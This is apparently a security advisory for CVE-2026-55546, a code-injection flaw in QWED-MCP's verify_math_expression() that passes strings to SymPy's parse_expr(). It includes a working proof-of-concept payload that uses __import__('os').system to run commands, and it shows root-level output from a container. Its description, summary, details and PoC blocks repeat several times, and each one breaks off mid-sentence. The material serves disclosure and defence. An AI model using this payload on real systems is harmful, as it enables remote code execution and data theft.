CVE-2026-55546

QWED-MCP is a deterministic verification gateway for MCP. Prior to 0.2.1, verify_math_expression() in src/qwed_mcp/engines/math_engine.py passes attacker-controlled expression and claimed_result strings directly to SymPy's parse_expr() after only normalizing caret syntax to Python exponent syntax, without restricting global_dict, removing Python built-ins, or validating the expression AST. Because parse_expr() calls Python's eval() with built-ins available, an attacker who can cause a downstream caller to pass untrusted input to this public library function can use Python import functionality to execute arbitrary operating-system commands as the qwed-mcp process user, read or modify accessible data, exfiltrate process secrets, or reach internal services. The default MCP tool registry does not expose verify_math_expression(), so exploitation requires a downstream integration that invokes the library API with attacker-controlled input. This issue is fixed in version 0.2.1.

QWED-MCP is a deterministic verification gateway for MCP. Prior to 0.2.1, verify_math_expression() in src/qwed_mcp/engines/math_engine.py passes attacker-controlled expression and claimed_result strings directly to SymPy's parse_expr() after only normalizing caret syntax to Python exponent syntax, without restricting global_dict, removing Python built-ins, or validating the expression AST. Because parse_expr() calls Python's eval() with built-ins available, an attacker who can cause a downstream caller to pass untrusted input to this public library function can use Python import functionality to execute arbitrary operating-system commands as the qwed-mcp process user, read or modify accessible data, exfiltrate process secrets, or reach internal services. The default MCP tool registry does not expose verify_math_expression(), so exploitation requires a downstream integration that invokes the library API with attacker-controlled input. This issue is fixed in version 0.2.1.

Summary

verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.

Details

The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^ → ** substitution — to sympy.parsing.sympy_parser.parse_expr():

# math_engine.py:50-54
expr = parse_expr(
    expression.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

# math_engine.py:64-68
claimed = parse_expr(
    claimed_result.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.

There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).

Data flow:

1. Source — math_engine.py:13-16: external caller supplies expression and claimed_result.
2. Propagation — math_engine.py:50-54: expression substituted and forwarded to parse_expr().
3. Propagation — math_engine.py:64-68: claimed_result substituted and forwarded to parse_expr().
4. Sink — sympy.parsing.sympy_parser.parse_expr(): calls eval() with unrestricted __builtins__.

PoC

Environment setup

# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301

# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12

# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce

Exploit input

import importlib.util, sys, os

spec = importlib.util.spec_from_file_location(
    "qwed_mcp.engines.math_engine",
    "src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression

payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")

print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
    print(f.read())

Expected output (Phase 2 Docker observation)

[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output  :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---

[RESULT] PASS — deterministic RCE evidence observed inside container

The marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no…

QWED-MCP is a deterministic verification gateway for MCP. Prior to 0.2.1, verify_math_expression() in src/qwed_mcp/engines/math_engine.py passes attacker-controlled expression and claimed_result strings directly to SymPy's parse_expr() after only normalizing caret syntax to Python exponent syntax, without restricting global_dict, removing Python built-ins, or validating the expression AST. Because parse_expr() calls Python's eval() with built-ins available, an attacker who can cause a downstream caller to pass untrusted input to this public library function can use Python import functionality to execute arbitrary operating-system commands as the qwed-mcp process user, read or modify accessible data, exfiltrate process secrets, or reach internal services. The default MCP tool registry does not expose verify_math_expression(), so exploitation requires a downstream integration that invokes the library API with attacker-controlled input. This issue is fixed in version 0.2.1.

QWED-MCP is a deterministic verification gateway for MCP. Prior to 0.2.1, verify_math_expression() in src/qwed_mcp/engines/math_engine.py passes attacker-controlled expression and claimed_result strings directly to SymPy's parse_expr() after only normalizing caret syntax to Python exponent syntax, without restricting global_dict, removing Python built-ins, or validating the expression AST. Because parse_expr() calls Python's eval() with built-ins available, an attacker who can cause a downstream caller to pass untrusted input to this public library function can use Python import functionality to execute arbitrary operating-system commands as the qwed-mcp process user, read or modify accessible data, exfiltrate process secrets, or reach internal services. The default MCP tool registry does not expose verify_math_expression(), so exploitation requires a downstream integration that invokes the library API with attacker-controlled input. This issue is fixed in version 0.2.1.

Summary

verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.

Details

The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^ → ** substitution — to sympy.parsing.sympy_parser.parse_expr():

# math_engine.py:50-54
expr = parse_expr(
    expression.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

# math_engine.py:64-68
claimed = parse_expr(
    claimed_result.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.

There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).

Data flow:

1. Source — math_engine.py:13-16: external caller supplies expression and claimed_result.
2. Propagation — math_engine.py:50-54: expression substituted and forwarded to parse_expr().
3. Propagation — math_engine.py:64-68: claimed_result substituted and forwarded to parse_expr().
4. Sink — sympy.parsing.sympy_parser.parse_expr(): calls eval() with unrestricted __builtins__.

PoC

Environment setup

# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301

# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12

# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce

Exploit input

import importlib.util, sys, os

spec = importlib.util.spec_from_file_location(
    "qwed_mcp.engines.math_engine",
    "src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression

payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")

print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
    print(f.read())

Expected output (Phase 2 Docker observation)

[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output  :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---

[RESULT] PASS — deterministic RCE evidence observed inside container

The marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no…

Summary

verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.

Details

The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^ → ** substitution — to sympy.parsing.sympy_parser.parse_expr():

# math_engine.py:50-54
expr = parse_expr(
    expression.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

# math_engine.py:64-68
claimed = parse_expr(
    claimed_result.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.

There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).

Data flow:

1. Source — math_engine.py:13-16: external caller supplies expression and claimed_result.
2. Propagation — math_engine.py:50-54: expression substituted and forwarded to parse_expr().
3. Propagation — math_engine.py:64-68: claimed_result substituted and forwarded to parse_expr().
4. Sink — sympy.parsing.sympy_parser.parse_expr(): calls eval() with unrestricted __builtins__.

PoC

Environment setup

# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301

# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12

# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce

Exploit input

import importlib.util, sys, os

spec = importlib.util.spec_from_file_location(
    "qwed_mcp.engines.math_engine",
    "src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression

payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")

print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
    print(f.read())

Expected output (Phase 2 Docker observation)

[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output  :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---

[RESULT] PASS — deterministic RCE evidence observed inside container

The marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no…